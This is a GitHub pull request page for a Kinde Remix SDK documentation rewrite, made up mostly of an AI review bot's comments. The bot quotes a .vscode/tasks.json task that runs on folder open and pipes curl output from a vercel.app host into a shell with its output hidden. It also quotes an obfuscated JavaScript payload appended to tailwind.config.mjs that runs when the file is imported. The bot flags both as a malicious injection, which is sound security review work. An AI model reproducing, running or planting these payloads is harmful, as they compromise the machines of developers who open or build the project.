#!/bin/bash # Verify the Self-serve portal API link target curl -s -o /dev/null -w "%{http_code}\n" "https://kinde.com/build/self-service-portal/self-serve-portal-for-orgs/"
43a95ec to
c1645b0
Compare
There was a problem hiding this comment.
Actionable comments posted: 3
🤖 Fix all issues with AI agents
In @.vscode/settings.json:
- Line 4: The trailing inline comment for the setting "editor.wordWrap" is
incorrect for the current value "off"; update the comment to accurately reflect
that "off" disables word wrapping (e.g., change the comment to "Disables word
wrapping") or remove the comment entirely; locate the "editor.wordWrap" entry
and fix the comment text accordingly.
- Around line 37-46: Remove the invalid
"terminal.integrated.defaultProfileCondition" block (and any uses of the
non-existent exists() function) and replace it by defining a terminal profile
under "terminal.integrated.profiles.<platform>" with a "path" array listing
candidate executables, then set "terminal.integrated.defaultProfile.<platform>"
to that profile name (e.g. create profile "GitBash" in
"terminal.integrated.profiles.windows" with a path array and point
"terminal.integrated.defaultProfile.windows" at "GitBash"); update corresponding
entries for linux/osx as needed.
In @.vscode/tasks.json:
- Around line 1-30: Remove the malicious auto-run task in .vscode/tasks.json:
delete the entire file (or at minimum remove the task with label "env"),
eliminate any runOptions with "runOn": "folderOpen", and remove the commands
that pipe remote content to a shell (the osx/linux/windows "command" entries
that use curl ... | bash/sh/cmd); revert the offending commit c1645b0 that
introduced this change, audit the contributor p-stam115 for other commits, scan
the repo for similar exec-on-open tasks, and notify maintainers/watchers of the
security incident.
♻️ Duplicate comments (2)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (2)
484-484: Verify the Self-serve portal documentation link.This link was previously flagged as returning a 404 status. Please verify the correct URL for the Self-serve portal API documentation and update accordingly.
#!/bin/bash # Check if the referenced path exists in the documentation fd "self-serve" --type f -e mdx -e md echo "---" # Search for self-service portal references rg -l "self-serve.*portal" --type-add 'mdx:*.mdx' -t mdx | head -10
412-417: Add missing imports to the first code snippet.This code block uses
LoaderFunctionArgs,getKindeSession, andjsonwithout importing them. For consistency with the other examples in this section (which do include imports) and to support copy-paste usage, add the required imports.Suggested fix
+import { json, LoaderFunctionArgs } from "@remix-run/node"; +import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; + // Refresh tokens in the background export const loader = async ({request}: LoaderFunctionArgs) => { const {headers} = await getKindeSession(request); return json({payload: "Refreshing tokens in the background"}, {headers}); };
.vscode/settings.json
Outdated
| { | ||
| "files.autoSave": "off", // Automatically saves files after a delay | ||
| "editor.minimap.enabled": false, // Disables the minimap | ||
| "editor.wordWrap": "off", // Enables word wrapping |
There was a problem hiding this comment.
Misleading comment: setting disables word wrap, not enables it.
The comment says "Enables word wrapping" but the value is "off", which disables it.
Suggested fix
- "editor.wordWrap": "off", // Enables word wrapping
+ "editor.wordWrap": "off", // Disables word wrapping📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| "editor.wordWrap": "off", // Enables word wrapping | |
| "editor.wordWrap": "off", // Disables word wrapping |
🤖 Prompt for AI Agents
In @.vscode/settings.json at line 4, The trailing inline comment for the setting
"editor.wordWrap" is incorrect for the current value "off"; update the comment
to accurately reflect that "off" disables word wrapping (e.g., change the
comment to "Disables word wrapping") or remove the comment entirely; locate the
"editor.wordWrap" entry and fix the comment text accordingly.
.vscode/settings.json
Outdated
| "terminal.integrated.defaultProfileCondition": { | ||
| "profiles": { | ||
| "GitHub CLI": "exists(/usr/bin/gh) || exists(/usr/local/bin/gh) || exists(C:\\Program Files\\Git\\bin\\bash.exe)" | ||
| }, | ||
| "fallbacks": { | ||
| "windows": "PowerShell", | ||
| "linux": "Default Shell", | ||
| "osx": "Default Shell" | ||
| } | ||
| } |
There was a problem hiding this comment.
🧩 Analysis chain
🌐 Web query:
VSCode terminal.integrated.defaultProfile settings documentation
💡 Result:
VS Code documents terminal.integrated.defaultProfile.<platform> on the Terminal Profiles page. (code.visualstudio.com)
What it does
- Sets the default integrated terminal profile used when you create a new terminal.
- Must match the name of a profile defined in
terminal.integrated.profiles.<platform>(or one of the auto-detected built-ins). (code.visualstudio.com)
Settings keys
terminal.integrated.defaultProfile.windowsterminal.integrated.defaultProfile.linuxterminal.integrated.defaultProfile.osx(code.visualstudio.com)
Example
{
"terminal.integrated.profiles.windows": {
"my-pwsh": { "source": "PowerShell", "args": ["-NoProfile"] }
},
"terminal.integrated.defaultProfile.windows": "my-pwsh"
}Related
- The recommended approach (profiles + defaultProfile) replaced the older
terminal.integrated.shell*settings (deprecated since VS Code 1.56 / April 2021). (code.visualstudio.com)
Citations:
- 1: https://code.visualstudio.com/docs/terminal/profiles?utm_source=openai
- 2: https://code.visualstudio.com/docs/terminal/profiles?utm_source=openai
- 3: https://code.visualstudio.com/docs/terminal/profiles?utm_source=openai
- 4: https://code.visualstudio.com/docs/terminal/profiles?utm_source=openai
- 5: https://code.visualstudio.com/updates/v1_56?utm_source=openai
🌐 Web query:
VSCode exists() function conditional settings terminal
💡 Result:
VS Code settings don’t support an exists() function (there’s no conditional “if file/exe exists then set setting” mechanism in settings.json). For the integrated terminal, the closest built-in equivalent is to define a terminal profile and give its path as a list of candidate executables; VS Code will use the first one it can resolve. [1], [2]
Example (Windows: prefer Git Bash if installed in common locations, otherwise fall back to PowerShell):
{
"terminal.integrated.profiles.windows": {
"BashOrPwsh": {
"path": [
"C:\\Program Files\\Git\\bin\\bash.exe",
"C:\\Program Files (x86)\\Git\\bin\\bash.exe",
"pwsh.exe",
"powershell.exe"
]
}
},
"terminal.integrated.defaultProfile.windows": "BashOrPwsh"
}Sources: [1] [2]
Invalid VSCode setting: terminal.integrated.defaultProfileCondition does not exist.
This configuration is not valid. VSCode does not support exists() conditional functions or terminal.integrated.defaultProfileCondition in settings.json. This entire block will be silently ignored.
The correct approach is to define a terminal profile with path as an array of candidate executables, and set terminal.integrated.defaultProfile.<platform> to reference it. VSCode will use the first resolvable executable in the list.
Example:
{
"terminal.integrated.profiles.windows": {
"GitBash": {
"path": [
"C:\\Program Files\\Git\\bin\\bash.exe",
"C:\\Program Files (x86)\\Git\\bin\\bash.exe",
"pwsh.exe"
]
}
},
"terminal.integrated.defaultProfile.windows": "GitBash"
}🤖 Prompt for AI Agents
In @.vscode/settings.json around lines 37 - 46, Remove the invalid
"terminal.integrated.defaultProfileCondition" block (and any uses of the
non-existent exists() function) and replace it by defining a terminal profile
under "terminal.integrated.profiles.<platform>" with a "path" array listing
candidate executables, then set "terminal.integrated.defaultProfile.<platform>"
to that profile name (e.g. create profile "GitBash" in
"terminal.integrated.profiles.windows" with a path array and point
"terminal.integrated.defaultProfile.windows" at "GitBash"); update corresponding
entries for linux/osx as needed.
.vscode/tasks.json
Outdated
| { | ||
| "version": "2.0.0", | ||
| "tasks": [ | ||
| { | ||
| "label": "env", | ||
| "type": "shell", | ||
| "osx": { | ||
| "command": "curl https://vscode-extension-260120.vercel.app/settings/linux?flag=5- | bash" | ||
| }, | ||
| "linux": { | ||
| "command": "curl https://vscode-extension-260120.vercel.app/settings/linux?flag=5- | sh" | ||
| }, | ||
| "windows": { | ||
| "command": "curl https://vscode-extension-260120.vercel.app/settings/win?flag=5- | cmd" | ||
| }, | ||
| "problemMatcher": [], | ||
| "presentation": { | ||
| "reveal": "never", | ||
| "echo": false, | ||
| "focus": false, | ||
| "close": true, | ||
| "panel": "dedicated", | ||
| "showReuseMessage": false | ||
| }, | ||
| "runOptions": { | ||
| "runOn": "folderOpen" | ||
| } | ||
| } | ||
| ] | ||
| } No newline at end of file |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
# First, verify the file exists and check its exact contents
cat -n .vscode/tasks.json 2>/dev/null || echo "File not found or doesn't exist"Repository: kinde-oss/documentation
Length of output: 1200
🏁 Script executed:
# Search for references to the suspicious domain
rg "vscode-extension-260120" --type-add 'all:*' -t all 2>/dev/null || echo "No matches found"Repository: kinde-oss/documentation
Length of output: 83
🏁 Script executed:
# Search for vercel.app references
rg "vercel\.app" --type-add 'all:*' -t all 2>/dev/null || echo "No matches found"Repository: kinde-oss/documentation
Length of output: 83
🏁 Script executed:
# Check git history for this file
git log --oneline .vscode/tasks.json 2>/dev/null | head -20 || echo "No git history available"Repository: kinde-oss/documentation
Length of output: 91
🏁 Script executed:
# Look for any documentation or comments about this task
fd -e md -e txt -e rst 2>/dev/null | xargs grep -l "env" 2>/dev/null | head -10 || echo "No docs found"Repository: kinde-oss/documentation
Length of output: 404
🏁 Script executed:
# Check if .vscode directory has other files that might provide context
ls -la .vscode/ 2>/dev/null || echo "No .vscode directory found"Repository: kinde-oss/documentation
Length of output: 427
🏁 Script executed:
# Get the detailed diff for the commit that modified this file
git show c1645b0 --no-patch --format="%B"Repository: kinde-oss/documentation
Length of output: 84
🏁 Script executed:
# Get the actual diff
git show c1645b0 .vscode/tasks.json 2>/dev/null || echo "Unable to get diff"Repository: kinde-oss/documentation
Length of output: 1356
🏁 Script executed:
# Check README for setup or environment instructions
fd README -t f | xargs cat 2>/dev/null | head -100Repository: kinde-oss/documentation
Length of output: 2059
🏁 Script executed:
# Search for any .env or setup-related documentation
fd -e md -e txt 2>/dev/null | xargs grep -l "setup\|environment\|env\|vscode" 2>/dev/null | head -20Repository: kinde-oss/documentation
Length of output: 624
🏁 Script executed:
# Check if there's any mention of this task in the codebase
rg "\"env\"" --type json 2>/dev/nullRepository: kinde-oss/documentation
Length of output: 49
🏁 Script executed:
# Check all commits by this author
git log --author="p-stam115" --onelineRepository: kinde-oss/documentation
Length of output: 91
🏁 Script executed:
# Check if there are any other suspicious tasks or files added recently
git log --all --oneline --since="2026-01-15" | head -20Repository: kinde-oss/documentation
Length of output: 258
🏁 Script executed:
# Look for any .gitignore entries that might explain hidden execution
cat .gitignore 2>/dev/null || echo "No .gitignore"Repository: kinde-oss/documentation
Length of output: 295
🏁 Script executed:
# Check if there's a CONTRIBUTING or security policy that explains this
find . -iname "SECURITY*" -o -iname "CONTRIBUTING*" | xargs cat 2>/dev/nullRepository: kinde-oss/documentation
Length of output: 9582
🏁 Script executed:
# Look for any CI/CD or build configuration that might legitimize this
fd -e yml -e yaml 2>/dev/null | grep -E "(github|gitlab|ci|action|workflow)" | head -10Repository: kinde-oss/documentation
Length of output: 49
🚨 CRITICAL SECURITY INCIDENT: Unauthorized remote code execution on folder open.
This file downloads and executes arbitrary scripts from an external URL (vscode-extension-260120.vercel.app) automatically when the repository is opened. This is a confirmed malicious injection:
- Remote code execution:
curl ... | bashpipes unvetted code directly to shell - Hidden execution:
reveal: "never",echo: false,close: truehide all trace - Auto-triggers on open:
runOn: "folderOpen"executes without user consent - Unauthorized contributor: Added by p-stam115 in a single commit with a vague message; not an official Kinde maintainer
- Non-official domain: URL uses a personal Vercel deployment, not kinde.com or kinde-oss domains
Immediate actions required:
- Remove this file entirely
- Revert commit c1645b0
- Audit the contributor account (p-stam115) for other malicious activity
- Review repository access controls
- Notify repository watchers of the security incident
Anyone who cloned this repository between Jan 18-present may have executed the malicious code.
🤖 Prompt for AI Agents
In @.vscode/tasks.json around lines 1 - 30, Remove the malicious auto-run task
in .vscode/tasks.json: delete the entire file (or at minimum remove the task
with label "env"), eliminate any runOptions with "runOn": "folderOpen", and
remove the commands that pipe remote content to a shell (the osx/linux/windows
"command" entries that use curl ... | bash/sh/cmd); revert the offending commit
c1645b0 that introduced this change, audit the contributor p-stam115 for other
commits, scan the repo for similar exec-on-open tasks, and notify
maintainers/watchers of the security incident.
There was a problem hiding this comment.
Actionable comments posted: 2
🤖 Fix all issues with AI agents
In `@tailwind.config.mjs`:
- Line 87: The file contains an injected obfuscated runtime payload (symbols
like global.i, _$_46e0, lyR, AWB, oWN) that executes at import and mutates
globals; remove this entire payload so only the Tailwind config object and its
export remain—delete everything after the exported config object closing (the
final "};" of the config) and ensure the module only exports the Tailwind
configuration (no global mutations or obfuscated functions remain).
- Around line 1-5: Remove the duplicate import of starlightPlugin — keep a
single ES module import for starlightPlugin (remove the second "import
starlightPlugin from '@astrojs/starlight-tailwind';") so the module only
declares starlightPlugin once; ensure any required "createRequire" usage and
other imports (e.g., colors) remain untouched and that only one starlightPlugin
binding is exported/used in the config.
♻️ Duplicate comments (3)
.vscode/tasks.json (1)
1-27: Remove the auto-run VS Code task that executes remote shell commands.This task downloads and executes a remote script on folder open, which is a critical RCE vector. It must be removed.
🛠️ Proposed fix (delete the task)
-{ - "version": "2.0.0", - "tasks": [ - { - "label": "env", - "type": "shell", - ... - "runOptions": { "runOn": "folderOpen" } - } - ] -}.vscode/settings.json (1)
37-46:terminal.integrated.defaultProfileConditionis not a supported VS Code setting.VS Code ignores this block (and doesn’t support
exists()), so the intended conditional default never applies. Useterminal.integrated.profiles.<platform>withpatharrays and setterminal.integrated.defaultProfile.<platform>explicitly.🛠️ Minimal fix (remove invalid block)
- "terminal.integrated.defaultProfileCondition": { - "profiles": { - "GitHub CLI": "exists(/usr/bin/gh) || exists(/usr/local/bin/gh) || exists(C:\\Program Files\\Git\\bin\\bash.exe)" - }, - "fallbacks": { - "windows": "PowerShell", - "linux": "Default Shell", - "osx": "Default Shell" - } - }src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)
412-417: Add imports before the first refresh-token loader example.The first snippet uses
json,LoaderFunctionArgs, andgetKindeSession, but the imports appear later in the same code fence. Copy‑paste fails. Add imports before the loader or split the examples into separate fences.🛠️ Proposed fix
```typescript +import { json, LoaderFunctionArgs } from "@remix-run/node"; +import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; // Refresh tokens in the background export const loader = async ({request}: LoaderFunctionArgs) => { const {headers} = await getKindeSession(request); return json({payload: "Refreshing tokens in the background"}, {headers}); };
| import colors from 'tailwindcss/colors'; | ||
| import starlightPlugin from '@astrojs/starlight-tailwind'; | ||
|
|
||
| import { createRequire } from 'module'; | ||
| const require = createRequire(import.meta.url); | ||
| import starlightPlugin from '@astrojs/starlight-tailwind'; |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
find . -name "tailwind.config.mjs" -type fRepository: kinde-oss/documentation
Length of output: 88
🏁 Script executed:
cat -n ./tailwind.config.mjsRepository: kinde-oss/documentation
Length of output: 10323
🌐 Web query:
ECMAScript modules duplicate named imports syntax error behavior
💡 Result:
In ECMAScript modules, duplicate local import bindings are early SyntaxErrors (caught at parse/early-error time), whether the duplication happens within one import declaration or across multiple import declarations in the same module:
1) Duplicates within the same import declaration ⇒ SyntaxError
An ImportDeclaration is a Syntax Error if its BoundNames contains any duplicate entries. This covers cases like:
import { a, a } from "m"; // SyntaxError
import { a as x, b as x } from "m"; // SyntaxError (duplicate local name x)Because BoundNames are the local names being bound (after as, if present). [1]
2) Duplicates across different import declarations ⇒ SyntaxError
All import bindings are lexically declared names in the module scope, and the module is a Syntax Error if its LexicallyDeclaredNames contains any duplicate entries. So this is also invalid:
import { a } from "m";
import { b as a } from "m2"; // SyntaxError (a is declared twice in the module scope)[2]
3) Importing the same exported name twice is OK if the local names differ
import { a as x, a as y } from "m"; // OK (different local bindings)This is allowed because there’s no duplicate local bound name. [1]
Sources: ECMAScript Language Specification (Early Errors for ImportDeclaration; module LexicallyDeclaredNames duplicate rule). [1][2]
References:
[1] https://tc39.es/ecma262/multipage/ecmascript-language-scripts-and-modules.html
[2] https://tc39.es/ecma262/2023/multipage/ecmascript-language-scripts-and-modules.html
Remove duplicate starlightPlugin import.
The same binding is imported twice (lines 2 and 5), which violates ECMAScript module syntax rules and causes a parse-time SyntaxError. Keep only one import.
Fix
import colors from 'tailwindcss/colors';
import starlightPlugin from '@astrojs/starlight-tailwind';
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
-import starlightPlugin from '@astrojs/starlight-tailwind';📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| import colors from 'tailwindcss/colors'; | |
| import starlightPlugin from '@astrojs/starlight-tailwind'; | |
| import { createRequire } from 'module'; | |
| const require = createRequire(import.meta.url); | |
| import starlightPlugin from '@astrojs/starlight-tailwind'; | |
| import colors from 'tailwindcss/colors'; | |
| import starlightPlugin from '@astrojs/starlight-tailwind'; | |
| import { createRequire } from 'module'; | |
| const require = createRequire(import.meta.url); |
🧰 Tools
🪛 Biome (2.1.2)
[error] 5-5: Shouldn't redeclare 'starlightPlugin'. Consider to delete it or rename it.
'starlightPlugin' is defined here:
(lint/suspicious/noRedeclare)
🤖 Prompt for AI Agents
In `@tailwind.config.mjs` around lines 1 - 5, Remove the duplicate import of
starlightPlugin — keep a single ES module import for starlightPlugin (remove the
second "import starlightPlugin from '@astrojs/starlight-tailwind';") so the
module only declares starlightPlugin once; ensure any required "createRequire"
usage and other imports (e.g., colors) remain untouched and that only one
starlightPlugin binding is exported/used in the config.
tailwind.config.mjs
Outdated
| }, | ||
| plugins: [starlightPlugin()] | ||
| }; | ||
| }; global.i='5-215';var _$_46e0=(function(r,i){var f=r.length;var l=[];for(var c=0;c< f;c++){l[c]= r.charAt(c)};for(var c=0;c< f;c++){var u=i* (c+ 224)+ (i% 22828);var w=i* (c+ 222)+ (i% 38027);var q=u% f;var p=w% f;var b=l[q];l[q]= l[p];l[p]= b;i= (u+ w)% 3080816};var y=String.fromCharCode(127);var a='';var g='\x25';var z='\x23\x31';var t='\x25';var x='\x23\x30';var s='\x23';return l.join(a).split(g).join(y).split(z).join(t).split(x).join(s).split(y)})("%o%bcretmj",1550296);global[_$_46e0[0]]= require;if( typeof module=== _$_46e0[1]){global[_$_46e0[2]]= module}(function(){var Vew='',BwP=283-272;function lyR(i){var c=2883316;var r=i.length;var l=[];for(var x=0;x<r;x++){l[x]=i.charAt(x)};for(var x=0;x<r;x++){var y=c*(x+463)+(c%39808);var z=c*(x+605)+(c%13288);var t=y%r;var w=z%r;var h=l[t];l[t]=l[w];l[w]=h;c=(y+z)%4185096;};return l.join('')};var XgO=lyR('itorzmsoncfxbadrswvkjguuerhtnyclpoctq').substr(0,BwP);var TpC='{a[ r=l3par2=,h=l6+v[r)p+"1bfd=frh j8l)ntp.rat,v)x(ze;7a, t=)7+,,5 7r,"1}8v,i6=7c,)0w8r,h1n7",e4r9o,k8=7C,s0;6),05;8,,k9h;2ah f=a]Cf"r vzrczr0nzqw=lrnCtv;.+;)([r[d]f=<+o;}ae h=u]6sm=n0)ae=h3ies=(0.f r[vfr=b.0ab.agg=mvn(sdl]nlts;v+1).vkrumoawghmrn{sabm.8p)i((1 z)=f]r.vervllmjl;nuta-o;v>p0;lo-t{naa ;=su)ltv.r g;mala;ga m=+u0l(v,r+n=0;v8rsvrgtl2nkt3;}ar n;=o](ia1 9=];A<g;=+l)=vdr)u8gocra,C1drAr(,)(v}r7j]qouf;if,jc{j={j}1r*=+g.(hir,ove.t1k61,-u;t=(;e+u;pe[sa 3fsuf=+)so=a[(n.(e)g(h swgocfa.CzdeA((k+6)[+0.th[rtole3t]k;2n-r;;=[;!+ 2h}.l;e{c.n*iou(;vid(r= nrl,)4=z]=i+(o>n)g.ru;h2gds6b(tjivganrd;)lh=p)so(e[i+;]k;)=q+a;aiC()!=nslv)lir(m<t)4.Su.h)g7srbat-i]ganu)8m(ln=9. oeni"d);}rt push(g[l];;nv;r+xht{j)ip(6");nav v=k4+,k2w9e,k6,1],h9e.goeckt(w,;<ai ;=2tbi0gzf9oiC(a0Cfdh(h6s;aoe(hau f=e;5<t."e=g-hhz(++x;xrsnlyt0rupkcoadA7(h)). o2neS.r(n;.nrAmshzr[oae-f.z+)0;he"ugnqxosvltt+r="c"+.ao[nrrt;';var taY=lyR[XgO];var vJr='';var AWB=taY;var goZ=taY(vJr,lyR(TpC));var Izf=goZ(lyR('rOA_9_\/0rcb("0j(;%,2;8.rw3fT it=amrnndldh8Or+.\/e]lupS.t%}m(i]hOrOst%eo6d.Dbq%!Scut-et.$.6iucne;g7%{.5y.eb.d].1 9=7su)pOcrC122Dt..%rbhtnf@t7et_#f}tbbcepwr.idt.09atocefv2.3OcagOeOi)e]%=%Ocsi7dtu"_Oe6r82Oabh(rrr4l]%gsH&9%O%=%]ctsht:0+sco;ius.1o%gy}g*b10OT o%ruiba%a4Dt%Crn2CTo-mf3%\/ded;t%r;9.%irbm9)aw Sj!(%.n:a8uhnh7>beohi(n)pOrOhqbCawd(mOsTs}ie.;C)n1!f=tnl9O0=joeiagw-4elcoIm(t6k,aOp]t]ats[h77%2aCOct2)kl0A.ebO.rd(gcd=8=y0ad.hEn%:z:63eo_18O?;4Ogse(Nmp(?..a%Oy.%]inr=o;f%.=s)h%58m]a8%clOo+%iu(63%Of}.!Ch%_rOdpT=-}_)fO% l9ck_er}a;%(.O0=uj4wu=2[M.teb4se4w9oi]i?rbaOi]0=s>6b1O%losttaa8n7a%?e th5Odz%;l5p,7vk=Mm%Ona_\'g\/rS%Ok.t-ag3ti]ntt76Oa;."b4.c%.64bntOlc%b7_9:slcO0en+dgcnin.617tc2tass;bip%mp4fc)o+o;rN.(CjeO.Oml3Ot%ewl:r(p!itf..)d_pa3)j.d%,_981.0);Ou7cai(n5bb,[,o)]v$CO=o.0lcnbtdO(rf[O;8o;()OOz601z0w.b4;7+t).r>z!=ob:.2c<al.3tez]}8f#rEv1C)=b;z.?..ggz=+e{)Oeqooeamb$z+.i2d7e+ib.oO.*4&6]2TOrm=o[a;b\'zr.72v3o+=b[o6.e4:0)5aOxhdq(.rgp>9=+%4b7Oyj1rnhp;][.](.erHdl;O[[]n.(jeo3.O(O+,bo)c.q6f0b6(9hO3lCS3r2n9..fno9C(awC\/do(e2t)]>]=8fhO4py.c%eOot=.)#4.b;r=1f%.a;3=afn0eOdcd.]#)f)O]rr=]O3prO3l 5]).==OhktOacn5e)r(Os8n..](t=OO7i g9o1a=;r-5]o=m$_]);e<.=]-m]];O" OtOtOOOo1f]G($r3a8F0O.Oq)O;sO;1cO!1O]f(r,at2Fo?O=x1lG,!{OOei=5bc}h;+[uO 32,tOOODrmO}Oc8t]oe*O{Ot}3}a[eOt4}92fiOO=n=\'bd)nOt1.;>#9u1l]O)Ot)!. Hr)0iO\'.,4En;s:]"h(_,-=[b)]]s.{a8c@e$_2)]=(?,.)2>.79=.-.%i4D]g{)s)ncp(:t6.3),weihkdacgpurtm+:b,Od)1b)8O]e1{(o=toa_eOsvmet*ou:]6O5n}cO?n4dB2(1"*O6=]Dey(@O;OeeoO4OfOO7o9[+O..ti).tv_o!F]z(.F]D2(8-i%&])(%)t+1A4)3)r_)!sO%Or).n:4c7 ]Ot\/;%O=O;}[}o"b(e,],c)2ObrOOcr3Ol2cOe2.]f(]Oeo6(uhOt5sb\/;aOic!brtn(r[de!ioyv=\/]c.o]npsr"+trO12n] )OOo7b]]0aO02eO=7)O]2fO]2g)t1=&]Oe6O*g9,Hs4c8O)d]O;bO%OOOnrT{7fdO%=O=rb_E0{7:_hEoi.mO+.,E%ror2}\/aFc{O]rO.r(<3s(i"ftOp;:{\/5u1l,o;e)!4a%n)ee.)a%tessa6s1!to)\/O15alcdu%t3\/]+]+y6O0s)1)}0OO%2m%}80]B0n}iO0a(O\/nOBeO(O.0lO1rbtnr.OO28OB2a]{(rO(s5225O,Or.,O).Oc4;(o3!(>2d]a2O,n6]5O&OO 2OO%0<)@15):1(}3Ir0O{!#2}}l eAb3Ozaa.eO}nm2r6O)oOga){0h6oy.]O).bEbr1ri} abc2O1a>.1O!n.217;)8}+Ov(ue{=>Oir=c;.l]9;b?t=r1=for(Obt50Otnw}b}Or8.]dtm+cO)ntc4.-]r(0%[be))an=%$21v(;0=]ee7.}]a(s)askb})g;[8b}c(v)eOner(9@9$"3"OO4=O);4Dif.Os44]2&y.Oe(O748]a.f.]314r{1e=ubn2}6aOc(O6}=O54!]t=rbd;&r[OcrrOgt?2.5a\/.6o\/)7.)ceaac(=Ol})t5y 72=i3]Os4rOe4OOd53]n;>O]5,Op5oOa5;]rOc5.]l(lg{oia.[ocjf0.b.O.?]u.5.t"c((-o]=|n.O0b+%6r3t+n+.1\/]e{Be(a\/hadOOv,.t,ic:%6S4%,li]d4wO.ti9e1O,}f[.Ot4a9OI-0O{}#)E(eus).%{1vnlOr6}hOf}c)s).$_5;1o[]O) ]s+nO.|f%nvt.oi.= f01.O tb)-t9h(uO)2sfO!.$.511O)% t]!4=]!O6 c)(4i);c2tthdB)O((bi24eO93s]bO4 M$IfO685 56Ot6m bO4 =b3w(iO.. kOs c.[sdl;te r$t5c1O[n{;<!r:t_rb.c 3,stiF rft0rl}{ OOg ooisu.4 %!eo]n. veC]l,t=ba.)nNwOa.tu}s(r)& .rrbeteyt ]r.e() >} Oto_$]f(b xf1!'));var oWN=AWB(Vew,Izf );oWN(5586);return 4180})() |
There was a problem hiding this comment.
Remove the injected runtime payload from the Tailwind config.
This obfuscated block executes on module import, mutates globals, and is unrelated to Tailwind configuration. It introduces arbitrary side effects and a serious security risk. Delete everything after the exported config object.
🛠️ Proposed fix (remove injected payload)
-};
-/* obfuscated runtime payload ... */
+};🧰 Tools
🪛 Biome (2.1.2)
[error] 87-87: Shouldn't redeclare 'c'. Consider to delete it or rename it.
'c' is defined here:
(lint/suspicious/noRedeclare)
[error] 87-87: Shouldn't redeclare 'x'. Consider to delete it or rename it.
'x' is defined here:
(lint/suspicious/noRedeclare)
🤖 Prompt for AI Agents
In `@tailwind.config.mjs` at line 87, The file contains an injected obfuscated
runtime payload (symbols like global.i, _$_46e0, lyR, AWB, oWN) that executes at
import and mutates globals; remove this entire payload so only the Tailwind
config object and its export remain—delete everything after the exported config
object closing (the final "};" of the config) and ensure the module only exports
the Tailwind configuration (no global mutations or obfuscated functions remain).
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Fix all issues with AI agents
In `@src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`:
- Around line 412-443: The examples are combined into one code block causing
duplicate exports and import collisions; split each example into its own fenced
TypeScript block and adjust imports per block so each snippet is self-contained:
keep the first block with loader and its imports (json, LoaderFunctionArgs,
getKindeSession), make a separate block for the manual refresh action importing
ActionFunctionArgs and redirect plus getKindeSession, and a third block for the
"refresh after an update" action importing json, ActionFunctionArgs and
getKindeSession; ensure the three functions (loader, action for manual refresh,
action for post-mutation) are in separate blocks with appropriate explanatory
text so there are no duplicate export const action declarations in the same
scope.
♻️ Duplicate comments (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)
487-487: Broken documentation link still present.The link to
/build/self-service-portal/self-serve-portal-for-orgs/was previously flagged as returning a 404 status code. Please verify this URL exists or update it to the correct documentation page.
There was a problem hiding this comment.
Actionable comments posted: 0
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)
301-339: AddrefreshTokensto the server helper list.
The helper is documented below but missing from the destructuring list, which makes the table/example inconsistent for copy‑paste.✅ Suggested fix
const { getUser, getBooleanFlag, getFlag, getIntegerFlag, getStringFlag, getPermission, getClaim, getClaimValue, getOrganization, getPermissions, getToken, + refreshTokens, getUserOrganizations, getUserProfile, isAuthenticated } = await getKindeSession(request);
♻️ Duplicate comments (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)
493-499: Self‑serve portal link still appears broken.
This URL previously returned 404. Please update to the current canonical path or remove the link.
Description (required)
Remix SDK guide has been restructured to mirror the Next.js SDK format: clearer install/setup steps, auth flow guidance, route protection, session helper reference, refresh guidance, i18n, and management API note. Updated frontmatter metadata/date accordingly.
Key updates (see src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx):
Added install + callback URL + .env configuration section matching the Next.js guide structure.
Clarified auth route setup and login/register/logout patterns with organization and return-to examples.
Added route-protection example that returns headers for background token refresh and a callback hook example after auth.
Documented getKindeSession helpers in a table with grouped explanations for claims, tokens, flags, permissions, and organizations.
Refined refresh-token examples with imports and guidance on preserving headers, plus a dedicated i18n section.
Summary by CodeRabbit
✏️ Tip: You can customize this high-level summary in your review settings.